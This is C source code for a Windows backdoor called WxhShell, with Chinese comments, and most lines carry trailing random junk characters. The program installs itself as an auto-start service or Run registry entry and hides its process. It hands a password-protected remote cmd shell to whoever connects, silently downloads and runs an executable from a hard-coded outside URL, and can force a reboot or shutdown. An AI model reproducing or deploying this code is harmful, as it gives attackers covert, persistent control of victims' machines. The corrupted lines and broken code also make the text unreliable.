    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )>X C_ R  
    else { r`8>@2sW1  
    closesocket(wsh); /eI]!a  
    ExitThread(0); =bwuLno>  
    } =OUms@xcE  
    break; hfBZ:es+  
    } NUvHY:  
  // 获取shell *Mg. * N  
  case 's': { [Jjb<6[o  
    CmdShell(wsh); ;94e   
    closesocket(wsh); Ld?-Ik~fF>  
    ExitThread(0);  \W',g[Y:  
    break; `1T?\  
  } 4* vV9*'!  
  // 退出 !9/1_Bjv  
  case 'x': { ;*Z.|?3 MM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g=gWkN <  
    CloseIt(wsh); 2VgDM6h  
    break; d>f.p"B.gj  
    } 0kp#+&)+  
  // 离开 Q-qM"8I  
  case 'q': { P t)Ni  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8>KBh)q  
    closesocket(wsh); "yo~;[  
    WSACleanup(); (r]3tGp  
    exit(1); _K#LOSMfj/  
    break; 6hvmp  
        } 42Vz6 k:  
  } <:t D m  
  } e/{1u$  
^q$m>|KI  
  // 提示信息 :{YOJDtR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Z -d5D>  
} 1l(_SD;90t  
  } zv%9?:  
p903 *F^[,  
  return; E<|p9,M  
} "kHQ}#6r  
rphfW:  
// shell模块句柄 zxV,v*L)  
int CmdShell(SOCKET sock) -q}c;0vL-a  
{ 9PM\D@A{  
STARTUPINFO si; :*`5|'G}  
ZeroMemory(&si,sizeof(si)); }z$_=v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [It E+{U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1syI%I1  
PROCESS_INFORMATION ProcessInfo; :k"VR,riF  
char cmdline[]="cmd"; j%V95M% $  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gh:hfHiG  
  return 0; oOU?6nq  
} fF\s5f#:  
)U~,q>H+ %  
// 自身启动模式 Y~j )B\^{  
int StartFromService(void) '^!1AGF  
{ a IA9rn  
typedef struct Eed5sm$H  
{ \+STl#3*q  
  DWORD ExitStatus; (}|QSf:  
  DWORD PebBaseAddress; ,dG2[<?o  
  DWORD AffinityMask; %O! ~!'  
  DWORD BasePriority; <![]=~z $  
  ULONG UniqueProcessId; k70o=}  
  ULONG InheritedFromUniqueProcessId; j> ?0Y  
}   PROCESS_BASIC_INFORMATION; "|\G[xLOaW  
u$"dL=s!  
PROCNTQSIP NtQueryInformationProcess; C_RxJWka  
**%/Ke[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k6p Xc<]8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vwlPFr Ll  
dC F!.  
  HANDLE             hProcess; x P3v65Q1  
  PROCESS_BASIC_INFORMATION pbi; *A>I)a<:  
w,<nH:~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xux j  
  if(NULL == hInst ) return 0;  bK7j"  
sI7<rI.t){  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K)z! e;r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R`_RcHY:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YCWt%a*I'  
3%g\)Cs  
  if (!NtQueryInformationProcess) return 0; R43yr+p  
^hpdre"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aQzu[N  
  if(!hProcess) return 0; i"#36CVT~  
P{'T9U|O-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "-pQL )f  
4t%g:9]vr  
  CloseHandle(hProcess); g^V4+3v|a'  
rr@S|k:|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ .FZF  
if(hProcess==NULL) return 0; zB8 @Wl  
" ^t3VjN  
HMODULE hMod; u+&t"B  
char procName[255]; \5MW65  
unsigned long cbNeeded; )_|;h2I  
tqnvC UIE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sO5~!W>Z  
(sXR@Ce$  
  CloseHandle(hProcess); VdVUYp  
0E6tH& ;>  
if(strstr(procName,"services")) return 1; // 以服务启动 Jvk!a~e  
] BJ]  
  return 0; // 注册表启动 q13bV  
} fG+/p 0sJ?  
|Sne\N>%  
// 主模块 -*Voui  
int StartWxhshell(LPSTR lpCmdLine) SnK#YQCDt  
{ WB: NV=&^  
  SOCKET wsl; '_f]qNy  
BOOL val=TRUE; 8f""@TTp  
  int port=0; JDQ7  
  struct sockaddr_in door; ot"3 3I  
E3):8>R;1  
  if(wscfg.ws_autoins) Install(); N3_rqRd^  
}67lL~L  
port=atoi(lpCmdLine); 'Mfn:n+  
{hS9FdWA;  
if(port<=0) port=wscfg.ws_port; _I"T(2Au  
<6 LpsM}  
  WSADATA data; XIgGE)n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0Y%u[i/  
r34q9NFT5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $IM}d"/9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P6n9yJ$,cb  
  door.sin_family = AF_INET; pyW&`(]S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BrWo/1b  
  door.sin_port = htons(port); XM9}ax  
oi@hZniP?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !)Y T_ib  
closesocket(wsl); O}Ipg[h  
return 1; xnBU)#<]S  
} dB{VY+!  
7S +YQ$_  
  if(listen(wsl,2) == INVALID_SOCKET) { tAI<[M@  
closesocket(wsl); D7 D:?VoR  
return 1; |f :1Br  
} 4x`.nql  
  Wxhshell(wsl); 7K 8tz}  
  WSACleanup(); "sM 3NY  
R-L*N$@!  
return 0; Ju0W  
F8c^M</  
} =B+^-2G8  
F%Xj'=  
// 以NT服务方式启动 7a,/DI2o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _(qU%B  
{ ]vFtByqn  
DWORD   status = 0; &jg..R  
  DWORD   specificError = 0xfffffff; =i`#0i2(  
8?YWE62  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (M>[D!Yt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B 66-l!xa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -f{NVX\<0  
  serviceStatus.dwWin32ExitCode     = 0; ~ AU!Gm.  
  serviceStatus.dwServiceSpecificExitCode = 0; }i)^?@  
  serviceStatus.dwCheckPoint       = 0; %yVboA1  
  serviceStatus.dwWaitHint       = 0; h#Z5vH  
.L#xX1qr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @@?P\jv~  
  if (hServiceStatusHandle==0) return; L.cGt"{  
%,Pwo{SH  
status = GetLastError(); ySS kw7  
  if (status!=NO_ERROR) uxxS."~  
{ e\9H'$1\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U2lDTRt  
    serviceStatus.dwCheckPoint       = 0; Vb _W&Nwd  
    serviceStatus.dwWaitHint       = 0; L.%N   
    serviceStatus.dwWin32ExitCode     = status; $aY*1UVq  
    serviceStatus.dwServiceSpecificExitCode = specificError; */T.]^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\CufAN  
    return; myR}~Cj;q  
  } K&\3j-8^  
yV'<l .N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hC nqe  
  serviceStatus.dwCheckPoint       = 0; lZt{L0  
  serviceStatus.dwWaitHint       = 0; Y$@?Y/rhR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z_A:MoYf o  
} g9rsw7  
B{In "R8  
// 处理NT服务事件,比如:启动、停止 &!adW@y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;;*'<\lP.j  
{ Q>G lA  
switch(fdwControl) /5PV|o nO  
{ ~O;'],#Co  
case SERVICE_CONTROL_STOP: f&n6;N  
  serviceStatus.dwWin32ExitCode = 0; UC u4S >  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ah_T tj  
  serviceStatus.dwCheckPoint   = 0; " ,qcqG(  
  serviceStatus.dwWaitHint     = 0; b8>2Y'X  
  { JfrPK/Vn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zv Dg1p  
  } 'ot,6@~x>  
  return; VSxls  
case SERVICE_CONTROL_PAUSE: cNd;qO0$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4X()D {uR  
  break; %Ob#GA+  
case SERVICE_CONTROL_CONTINUE: A#WvN>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SEL7,8 Hm  
  break; bnm3 cR:h"  
case SERVICE_CONTROL_INTERROGATE: "1-|ahW  
  break; `:4\RcTb/  
}; [i  ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q9\6Pn ]T  
} f19~B[a  
b{Qg$ZJeR  
// 标准应用程序主函数 No'^]r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aS7%x>.A!  
{ x+X^K_*  
Y!+q3`-%T  
// 获取操作系统版本 q%RPA e  
OsIsNt=GetOsVer(); E&RiEhuv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Xke26ga  
T VuDK  
  // 从命令行安装 "%,KZI  
  if(strpbrk(lpCmdLine,"iI")) Install(); K<3$>/|  
+RuPfw{z  
  // 下载执行文件 y5v}EX`m&  
if(wscfg.ws_downexe) { MgP6ki1z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nVK`H@5fw  
  WinExec(wscfg.ws_filenam,SW_HIDE); W{{{c2 .  
} VkD8h+)  
C4`u3S  
if(!OsIsNt) { ,^>WC G  
// 如果时win9x,隐藏进程并且设置为注册表启动 q3~RK[OCq  
HideProc(); {e3XmVAI  
StartWxhshell(lpCmdLine); ]t23qA@^2  
} 2&k5X-Y  
else ~I_v {  
  if(StartFromService()) _ i-(` 5  
  // 以服务方式启动 IIrXI8'}  
  StartServiceCtrlDispatcher(DispatchTable); '/h~O@Rw  
else S>'S4MJE`  
  // 普通方式启动 e@GR[0~  
  StartWxhshell(lpCmdLine); \N?,6;%xB  
R24ZjbKL  
return 0; (ohza<X;6  
} <]/z45?  
3 E~d  
3XOf-v:~  
=N +Ou5D  
=========================================== h /.^iT  
5z$>M3  
%U4w@jp  
Ga%x(1U[&  
7n_'2qY  
ZgXn8O[a  
" YTtuR`  
syseYt]  
#include <stdio.h> Yy_o*Ozq  
#include <string.h> nCj_4,O  
#include <windows.h> 9aE.jpN  
#include <winsock2.h> T\Zq/Z\  
#include <winsvc.h> |.s#m^"  
#include <urlmon.h> TDMyZ!d  
WC?}a^ 8  
#pragma comment (lib, "Ws2_32.lib") 'A|OVyH  
#pragma comment (lib, "urlmon.lib") H,? )6pZ  
1VH$l(7IQ  
#define MAX_USER   100 // 最大客户端连接数 q*h1=H52  
#define BUF_SOCK   200 // sock buffer :=0XT`iY  
#define KEY_BUFF   255 // 输入 buffer @aA1=9-L  
-quWnn/  
#define REBOOT     0   // 重启 uAWmg8  
#define SHUTDOWN   1   // 关机 gEE6O%]g  
CUS^j  
#define DEF_PORT   5000 // 监听端口 z_jTR[dY  
kH)JBx.  
#define REG_LEN     16   // 注册表键长度 GmA5E  
#define SVC_LEN     80   // NT服务名长度 mp{r$tc  
iTt#%Fs)4M  
// 从dll定义API e^Ds|}{V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WLb *\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u_5O<UP5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xyoh B#'W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gob;dku  
`$X|VAS2  
// wxhshell配置信息 8@S5P$b};  
struct WSCFG { xSQ0]vE  
  int ws_port;         // 监听端口 5&uS700  
  char ws_passstr[REG_LEN]; // 口令 C&\vVNV;9  
  int ws_autoins;       // 安装标记, 1=yes 0=no D-/aS5wM  
  char ws_regname[REG_LEN]; // 注册表键名 Z1(-FT6O  
  char ws_svcname[REG_LEN]; // 服务名 T@GR Tg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ()E:gq Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +hz^( I7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )>! IY Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )< 6zbG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lO+<T[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "/EE$eU  
*L%i-Wg"  
}; B>^5h?(lt  
Ozygr?*X  
// default Wxhshell configuration ~okIiC]#  
struct WSCFG wscfg={DEF_PORT, yxECK&&P0#  
    "xuhuanlingzhe", ) OqQz7'  
    1, -*?Y4}mK  
    "Wxhshell", I) $of9   
    "Wxhshell", )P{I<TBI;  
            "WxhShell Service", 5>XrNc91  
    "Wrsky Windows CmdShell Service", yqg&dq  
    "Please Input Your Password: ", n&. bs7N2  
  1, {(DD~~)D  
  "http://www.wrsky.com/wxhshell.exe", 3wS{@'  
  "Wxhshell.exe" !  Z e  
    }; :Rs% (Z  
h=q%h8  
// 消息定义模块 2C@hjw(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OFJ T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &M)S~Hb^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a{lDHk`Wf  
char *msg_ws_ext="\n\rExit."; !lSxBr[dQ  
char *msg_ws_end="\n\rQuit."; c=YJ:&/5&  
char *msg_ws_boot="\n\rReboot..."; b&$ ?.z  
char *msg_ws_poff="\n\rShutdown..."; =A6/D    
char *msg_ws_down="\n\rSave to "; `0r=ND5.  
mGQgy[gX  
char *msg_ws_err="\n\rErr!"; N.J;/!%!  
char *msg_ws_ok="\n\rOK!"; Tl#Jf3XY}  
XFeeNcqF  
char ExeFile[MAX_PATH]; 2p(M`@  
int nUser = 0; '~-Lxvf'  
HANDLE handles[MAX_USER]; q\qV~G`  
int OsIsNt; #\+ TKK  
ASuxty  
SERVICE_STATUS       serviceStatus; I#Q Tmg.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o:\RJig<  
ZCQ7xQD  
// 函数声明 CI+dIv>  
int Install(void); w8t,?dY  
int Uninstall(void); LzEAA{  
int DownloadFile(char *sURL, SOCKET wsh); lu^ c^p;  
int Boot(int flag); {&Kq/sRz  
void HideProc(void); 5 zlgmCGow  
int GetOsVer(void); guC/eSxv  
int Wxhshell(SOCKET wsl); i^{.Q-  
void TalkWithClient(void *cs); c<V.\y0x  
int CmdShell(SOCKET sock); e75 k-  
int StartFromService(void); (89NK]2x  
int StartWxhshell(LPSTR lpCmdLine); o7feH 6Sh  
(}Ql#q K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #vy:aq<bjE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "y>\ mC  
5Wj+ey^ ^w  
// 数据结构和表定义 ]fXMp*LvY  
SERVICE_TABLE_ENTRY DispatchTable[] = rK*s/mX <  
{ +#5nk,1c>  
{wscfg.ws_svcname, NTServiceMain}, j+3~  
{NULL, NULL} ]JX0:'x^  
}; s,TKC67.%+  
5/Ng!bW  
// 自我安装 PXGS5,  
int Install(void) ]McLace&  
{ ]1 #&J(  
  char svExeFile[MAX_PATH]; gmfux b/  
  HKEY key; \s2hep  
  strcpy(svExeFile,ExeFile); @GGzah#  
9l+`O0.@  
// 如果是win9x系统,修改注册表设为自启动 QD LXfl/  
if(!OsIsNt) { 9&A-o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %zHNX4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %S8e:kc6  
  RegCloseKey(key); UA[2R1}d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,\;;1Kq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Y+AU#1~H  
  RegCloseKey(key); ?lv{;4BC  
  return 0; &\][:kG;  
    } 9?r|Y@xh]  
  } J/j1Yf'9  
} 5y! 4ny _  
else { \4wM8j  
g$~3@zD  
// 如果是NT以上系统,安装为系统服务 WYTeu "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XG"&\FL{T  
if (schSCManager!=0) Q>nq~#3?  
{ &0Zn21q  
  SC_HANDLE schService = CreateService Ebp^-I9.d  
  ( 8NJ(l  
  schSCManager, @<--5HbX  
  wscfg.ws_svcname, Nt#zr]Fz  
  wscfg.ws_svcdisp, TH2D;uv  
  SERVICE_ALL_ACCESS, .+7GecYz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :g3n [7wR  
  SERVICE_AUTO_START, ]Ff"o7gT  
  SERVICE_ERROR_NORMAL, (LPMEQhI:  
  svExeFile, vq *N  
  NULL, \)VV6'zih  
  NULL, p_Fc:%j>  
  NULL, SN|EWe^  
  NULL, @FL?,_,Y{  
  NULL XOO!jnQu  
  ); St&xe_:^<  
  if (schService!=0) ~.M{n&NM  
  { 9Y 1&SEsNX  
  CloseServiceHandle(schService); QthHQA  
  CloseServiceHandle(schSCManager); y3$i?}?A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :W,6zv(..u  
  strcat(svExeFile,wscfg.ws_svcname); M#on-[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qUSImgg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v$"#9oh  
  RegCloseKey(key); \t'(&taX<  
  return 0;  IpY  R  
    } g^(wZ$NH  
  } cTm oz.0  
  CloseServiceHandle(schSCManager); s;q]:+#7g  
} xA]CtB*o7  
} <CJua1l\  
gF1q Z=<  
return 1; vpx8GiV  
} .Vux~A  
!<]%V]5[_  
// 自我卸载 dg 0`0k  
int Uninstall(void) z %` \p  
{ T%K(opISc(  
  HKEY key; XJsHy_6  
=)m2u2c M  
if(!OsIsNt) { >/1N#S#9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %\=5,9A\  
  RegDeleteValue(key,wscfg.ws_regname); 8Cz_LyL  
  RegCloseKey(key); QRXsLdf$$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ng#J\  
  RegDeleteValue(key,wscfg.ws_regname); zcD&xoL\H  
  RegCloseKey(key); 9H ?er_6Yf  
  return 0; ?hvPPEJf  
  } B2VC:TG>  
} dlN(_6>b  
} aOfL;I  
else { #gi0FXL  
-W wFUm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); < i*v  
if (schSCManager!=0) O5{!CT$  
{ p*F&G=ZE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n>jb<uz  
  if (schService!=0) Oi&.pY:X-  
  { !7@IWz(, "  
  if(DeleteService(schService)!=0) { :Ts"f*  
  CloseServiceHandle(schService); ( =0W[@k  
  CloseServiceHandle(schSCManager); 2}>jq8Y47  
  return 0; rH8^Fl&jT  
  } `GS!$9j  
  CloseServiceHandle(schService); NY\q  
  } p!>FPS  
  CloseServiceHandle(schSCManager); =2pGbD;*  
} R_\{a*lV0  
} vb)Z&V6(  
EsXCi2]1  
return 1; D4<nS<8  
} Bp 6jF2  
#9}E@GGs  
// 从指定url下载文件 ^kxkP}[Z.  
int DownloadFile(char *sURL, SOCKET wsh) $'dJ+@  
{ :\L{S  
  HRESULT hr; VdQ}G!d  
char seps[]= "/"; !p4w 8  
char *token; $[5ihV$u  
char *file; <",4O  
char myURL[MAX_PATH]; 4.7OX&L'G  
char myFILE[MAX_PATH]; 6ND,4'6  
Ev%4}GwO4  
strcpy(myURL,sURL); 5Tluxt71  
  token=strtok(myURL,seps); XP *pYN  
  while(token!=NULL) Q^/66"Z:Z  
  { CFAz/x@%  
    file=token; G+ PBV%gE[  
  token=strtok(NULL,seps); 2]C`S,)  
  } m `~/]QQ  
|/C>xunzz  
GetCurrentDirectory(MAX_PATH,myFILE); -}@3,G  
strcat(myFILE, "\\"); S{{D G  
strcat(myFILE, file); vE7L> 7  
  send(wsh,myFILE,strlen(myFILE),0); BbUZ,X*Y  
send(wsh,"...",3,0); L.>tJ.ID  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )`yxJ;O@$  
  if(hr==S_OK) ^;n,C+  
return 0; bEP-I5j1t  
else ?dlQE,hB$  
return 1; KB <n-'  
Bx0^?>  
} qyGVyi3  
pL8+gL  
// 系统电源模块 YuSe~~F)j  
int Boot(int flag) w' K\}G~  
{ zz 7 m\  
  HANDLE hToken; Kc_QxON4  
  TOKEN_PRIVILEGES tkp; YOwo\'|=  
(o)nN8  
  if(OsIsNt) { . ]0B=w* Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /ZHuT=j1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qPuxYU  
    tkp.PrivilegeCount = 1; ]=of=T:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ==`K$rM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d$8rzd  
if(flag==REBOOT) { ;!DUNzl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +b1(sk=4z  
  return 0; xcwyn\93)  
} K/79Tb-  
else { rcMV YSj0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1i4KZ"A5+  
  return 0; 0vNEl3f'O  
} 96T.xT>&  
  } >w+WG0Z K  
  else { ]S<eO6z  
if(flag==REBOOT) { wQWokpP;T7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4_3Jpz*  
  return 0; > xkl7D  
} ^%-$8sV  
else { DhV($&*M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) } *|_P  
  return 0; BusD}9QqB  
} Gp'rN}i^  
} :,%~rR  
7kx)/Rw\B  
return 1; cOcF VPQ  
} HGfV2FtTz  
0RAmwfXm  
// win9x进程隐藏模块 2MQgTFM9  
void HideProc(void) &Z/aM?  
{ z]^&^VFu  
a_4Ny  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <KqZ.7XfB  
  if ( hKernel != NULL ) %&5 !vK  
  { $UavM|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9KRHo%m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _O2},9L n  
    FreeLibrary(hKernel); K,bv\j;f  
  } UhYeyT  
x$d3 fsEE  
return; /+pbO-rW*  
} I>o+INb:  
d a we!w!  
// 获取操作系统版本 vpcx 1t<  
int GetOsVer(void) rM#jxAb  
{ K@Q_q/(%;  
  OSVERSIONINFO winfo; 8o#*0d|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iq0_X7:{QI  
  GetVersionEx(&winfo); T`7;Rl'Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /~NsHStn  
  return 1; _*h,,Q  
  else eU 'DQp*  
  return 0; `G&W%CHB  
} Er^ijh,  
r/'9@oM  
// 客户端句柄模块 cP%mkh_ri  
int Wxhshell(SOCKET wsl) 0'*whhH  
{ !c[(#g  
  SOCKET wsh; BM!\U 6  
  struct sockaddr_in client; "- S2${  
  DWORD myID; |F[E h ~  
Vd~{SS 2>  
  while(nUser<MAX_USER) Hq[d!qc  
{ <h:>:%#k  
  int nSize=sizeof(client); _+YCwg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0gO<]]M?  
  if(wsh==INVALID_SOCKET) return 1; 6Ae<W7  
n#t{3qzpD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .ii9-+_  
if(handles[nUser]==0) l_GvdD  
  closesocket(wsh); dOh'9kk3  
else 8rwkux >  
  nUser++; =G3O7\KmH  
  } Yh)yp?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S/G6NBnbS  
uSCF;y=1g,  
  return 0; QEK,mc3  
} OY7\*wc:  
t=syo->  
// 关闭 socket [T#5$J  
void CloseIt(SOCKET wsh) rTYDa3  
{ sc'QNhrW  
closesocket(wsh); *t J+!1  
nUser--; __r]@hY   
ExitThread(0); a)=WDRk  
} T`KH7y|bv  
YYU Di@K  
// 客户端请求句柄 <jE6ye(R  
void TalkWithClient(void *cs) Ab`mID:  
{ yPrp:%PS  
UOHU 1.3$T  
  SOCKET wsh=(SOCKET)cs; rU<NHFGj4  
  char pwd[SVC_LEN]; s'' ?: +  
  char cmd[KEY_BUFF]; hNs970i  
char chr[1]; D,%R[F? 5O  
int i,j; g\;AU2?p7  
3kFSu  
  while (nUser < MAX_USER) { w^MU$ubx  
{WUW.(^]G  
if(wscfg.ws_passstr) { y>wrm:b-O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B5h-JON]-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^(y=DJ7  
  //ZeroMemory(pwd,KEY_BUFF); wJ@8-H 8}  
      i=0; q(<#7 spz  
  while(i<SVC_LEN) { <ABN/nH  
RB<LZHZI  
  // 设置超时 | n5F_RL  
  fd_set FdRead; )w];eF0c  
  struct timeval TimeOut; ''Fy]CwH(  
  FD_ZERO(&FdRead); UH/)4Wg  
  FD_SET(wsh,&FdRead); #R$d6N[H  
  TimeOut.tv_sec=8; |d^r"wbs3  
  TimeOut.tv_usec=0; TJFxo? gC"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _h>S7-X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rr ! PU  
ofbNg_K>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6OR5zXpk  
  pwd=chr[0]; S6-)N(3|  
  if(chr[0]==0xd || chr[0]==0xa) { @k:f(c  
  pwd=0; 9z7^0Ruw  
  break; %^s;{aN*!  
  } aiVd^(  
  i++; TY~8`+bJ  
    } N1$lG? )+  
'U ',9  
  // 如果是非法用户,关闭 socket U ^1Xc#Ff  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uf )?sz  
} dA >=#/"  
A5-y+   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OJ8ac6cJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !9=hUpRN  
[.4R ,[U  
while(1) { =g4^tIYq  
"3o{@TdU  
  ZeroMemory(cmd,KEY_BUFF); 2?YN8 n9n  
N^7Qn*qt[  
      // 自动支持客户端 telnet标准   &No6k~T0:b  
  j=0; ~$XbYR-  
  while(j<KEY_BUFF) { &.z: i5&o!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f!hQ"1[  
  cmd[j]=chr[0]; L6`(YX.:  
  if(chr[0]==0xa || chr[0]==0xd) { Eyi^N0  
  cmd[j]=0; `s#0/t  
  break; jn vJ`7zFP  
  } :e>y= s>  
  j++; 3 EH/6  
    } tdSy&]P  
$z,lq#zzl  
  // 下载文件 DQO~<E6c  
  if(strstr(cmd,"http://")) { Dyv 6K_,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nEu,1  
  if(DownloadFile(cmd,wsh)) !|6M,Rk_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yO Ed8  
  else MGpP'G:v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D /ysS$!{  
  } #4S">u  
  else { t mAj  
g a|RW0  
    switch(cmd[0]) { 3YT>3f!\  
  'o=`1I  
  // 帮助 ;u`zZb=,[  
  case '?': { 's]I:06A  
